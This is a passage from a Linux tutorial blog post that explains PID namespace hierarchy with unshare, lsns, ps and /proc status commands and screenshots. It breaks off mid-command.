https://substackcdn.com/image/fetch/$s_!MAUL!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png 1272w, https://substackcdn.com/image/fetch/$s_!MAUL!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa4f9510e-addf-4659-b4db-c19b1957838b_1024x245.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Notice we can see all processes running in our  new child namepaces (<strong>4026532194). </strong>This confirms that the <strong>root (parent)</strong> namespace can see the processes running inside the <strong>child</strong> namespace, because all PID namespaces ultimately descend from the root.</p><p>To double-check, you can list all PID namespaces on the system:</p><pre><code><code>$ sudo lsns -t pid</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!g0eR!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!g0eR!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png 424w, https://substackcdn.com/image/fetch/$s_!g0eR!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png 848w, https://substackcdn.com/image/fetch/$s_!g0eR!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png 1272w, https://substackcdn.com/image/fetch/$s_!g0eR!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!g0eR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png" width="1024" height="205" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:205,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32450,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!g0eR!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png 424w, https://substackcdn.com/image/fetch/$s_!g0eR!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png 848w, https://substackcdn.com/image/fetch/$s_!g0eR!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png 1272w, https://substackcdn.com/image/fetch/$s_!g0eR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd13bb422-1a63-4fb7-a018-d7852f354431_1024x205.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>As you can see, we now have to PID namespaces. The root namespace (<code>4026531836</code>) and the new child namespace (<code>4026532194</code>) now coexist, each with its own process table.</p><p></p><div><hr></div><p>Sysxplore is an indie, reader-supported publication.<br>I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.</p><p>To support my work, consider becoming a <strong>free or paid subscriber</strong> and join the growing community of tech professionals.</p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://blog.sysxplore.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://blog.sysxplore.com/subscribe?"><span>Subscribe now</span></a></p><div><hr></div><h2>Process Visibility Between Parent and Child Namespaces</h2><p>One of the most interesting aspects of PID namespaces is that they&#8217;re <strong>hierarchical</strong>.</p><p>When you create a new one, it becomes a <em>child</em> of the namespace in which it was created.</p><p>As mentioned earlier, PID namespaces allow the same PID number to exist in multiple namespaces. A process has a unique PID within its own namespace, but it&#8217;s also assigned additional PIDs in each parent namespace above it, all the way up to the root PID namespace.</p><p>Let&#8217;s see this in action.</p><p>Inside <strong>child-ns-01</strong>, list the processes we created earlier:</p><pre><code><code># ps aux</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!AF7v!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6309072c-2f45-4190-8f4c-dfd5ac4519ea_1024x261.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!AF7v!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6309072c-2f45-4190-8f4c-dfd5ac4519ea_1024x261.png 424w, https://substackcdn.com/image/fetch/$s_!AF7v!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6309072c-2f45-4190-8f4c-dfd5ac4519ea_1024x261.png 848w, https://substackcdn.com/image/fetch/$s_!AF7v!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6309072c-2f45-4190-8f4c-dfd5ac4519ea_1024x261.png 1272w, https://substackcdn.com/image/fetch/$s_!AF7v!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6309072c-2f45-4190-8f4c-dfd5ac4519ea_1024x261.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!AF7v!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6309072c-2f45-4190-8f4c-dfd5ac4519ea_1024x261.png" width="1024" height="261" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/6309072c-2f45-4190-8f4c-dfd5ac4519ea_1024x261.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:261,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!AF7v!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6309072c-2f45-4190-8f4c-dfd5ac4519ea_1024x261.png 424w, https://substackcdn.com/image/fetch/$s_!AF7v!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6309072c-2f45-4190-8f4c-dfd5ac4519ea_1024x261.png 848w, https://substackcdn.com/image/fetch/$s_!AF7v!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6309072c-2f45-4190-8f4c-dfd5ac4519ea_1024x261.png 1272w, https://substackcdn.com/image/fetch/$s_!AF7v!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6309072c-2f45-4190-8f4c-dfd5ac4519ea_1024x261.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now return to the <strong>parent-ns</strong> terminal and check how these same processes appear from the host&#8217;s perspective:</p><pre><code><code>$ sudo ps -eo pid,pidns,cmd | grep 4026532194</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!jI5s!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!jI5s!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png 424w, https://substackcdn.com/image/fetch/$s_!jI5s!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png 848w, https://substackcdn.com/image/fetch/$s_!jI5s!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png 1272w, https://substackcdn.com/image/fetch/$s_!jI5s!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!jI5s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png" width="1024" height="261" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:261,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:51124,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!jI5s!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png 424w, https://substackcdn.com/image/fetch/$s_!jI5s!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png 848w, https://substackcdn.com/image/fetch/$s_!jI5s!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png 1272w, https://substackcdn.com/image/fetch/$s_!jI5s!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F7e77cbd7-ab01-4206-ba3b-b619dcd082dc_1024x261.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Notice how the PIDs differ.</p><p>For example, a process that appears as PID <code>12</code> inside <strong>child-ns-01</strong> appear as PID <code>2269</code> in the parent namespace.</p><p>This shows how PID namespaces can reuse the same process numbers independently.</p><p>To verify the relationship, inspect the namespace mapping of one of the <code>sleep</code> processes. Inside <strong>parent-ns</strong> run:</p><pre><code><code>$ sudo cat /proc/2169/status | grep NSpid</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!outa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!outa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png 424w, https://substackcdn.com/image/fetch/$s_!outa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png 848w, https://substackcdn.com/image/fetch/$s_!outa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png 1272w, https://substackcdn.com/image/fetch/$s_!outa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!outa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png" width="1024" height="162" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/ce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:162,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:23708,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!outa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png 424w, https://substackcdn.com/image/fetch/$s_!outa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png 848w, https://substackcdn.com/image/fetch/$s_!outa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png 1272w, https://substackcdn.com/image/fetch/$s_!outa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fce991b48-17cd-42fb-99ca-a49737eefdfe_1024x162.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>This confirms that process <code>2269</code> in the parent namespace corresponds to PID <code>9</code> inside the child namespace, proving the hierarchical mapping between the two.</p><h3>Creating Another Child Namespace</h3><p>Now let&#8217;s move to the <strong>third terminal (child-ns-02)</strong> to extend this concept.</p><p>We&#8217;ll create another PID namespace to see how visibility works across multiple layers.</p><p>In <strong>child-ns-02</strong>, run:</p><pre><code><code>$ sudo unshare --pid --fork --mount-proc /bin/bash</code></code></pre><p>Verify the new namespace:</p><pre><code><code>$ sudo lsns -t pid</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Iknt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Iknt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png 424w, https://substackcdn.com/image/fetch/$s_!Iknt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png 848w, https://substackcdn.com/image/fetch/$s_!Iknt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png 1272w, https://substackcdn.com/image/fetch/$s_!Iknt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Iknt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png" width="1024" height="216" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:216,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:33943,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Iknt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png 424w, https://substackcdn.com/image/fetch/$s_!Iknt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png 848w, https://substackcdn.com/image/fetch/$s_!Iknt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png 1272w, https://substackcdn.com/image/fetch/$s_!Iknt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe15519be-c992-4979-a2ff-70cb4ceb32c1_1024x216.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>We now have a new PID namespace with ID <code>4026532196</code>.</p><p>Let&#8217;s start a few background processes inside it:</p><pre><code><code># sleep 7000 &amp;
# sleep 6000 &amp;
# sleep 5000 &amp;</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!XBGg!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!XBGg!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png 424w, https://substackcdn.com/image/fetch/$s_!XBGg!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png 848w, https://substackcdn.com/image/fetch/$s_!XBGg!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png 1272w, https://substackcdn.com/image/fetch/$s_!XBGg!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!XBGg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png" width="1024" height="238" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:238,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:32390,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!XBGg!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png 424w, https://substackcdn.com/image/fetch/$s_!XBGg!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png 848w, https://substackcdn.com/image/fetch/$s_!XBGg!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png 1272w, https://substackcdn.com/image/fetch/$s_!XBGg!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2b8d81a8-6cf7-4411-8f68-8699aa5388e5_1024x238.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Check the process list:</p><pre><code><code># ps 